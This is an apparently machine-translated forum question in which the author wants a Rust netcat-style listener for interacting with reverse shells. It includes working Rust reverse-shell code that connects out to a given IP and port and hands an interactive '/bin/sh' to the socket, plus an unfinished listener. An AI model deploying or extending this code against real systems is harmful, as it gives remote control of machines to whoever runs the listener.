OpenBSD Реализация Netcat прослушивает порт с unix_bind()
... в основном то же поведение, что и у Rust TcpListener::bind()
. Когда я заблудился в написании, моя listen
функция (эмулирующая nc -l -p <port>
) - как взаимодействовать с обратными оболочками.
Как бы банально это ни звучало, я хочу, чтобы listen
дал мне приглашение sh-3.2$
, как nc -l -p <port>
. Все реализации Netcat-Rust, которые я выкопал в сети, не позволяют мне взаимодействовать с обратными оболочками подобным образом.
Код обратной оболочки (машина 1): (адаптировано с этот вопрос , который я задал лет a go)
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
Код прослушивания (машина 2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
В коде Rust есть некоторая простота и элегантность, которая помогает мне кратко понять, что происходит, что Вот почему я не хочу просто копировать код C из Netcat.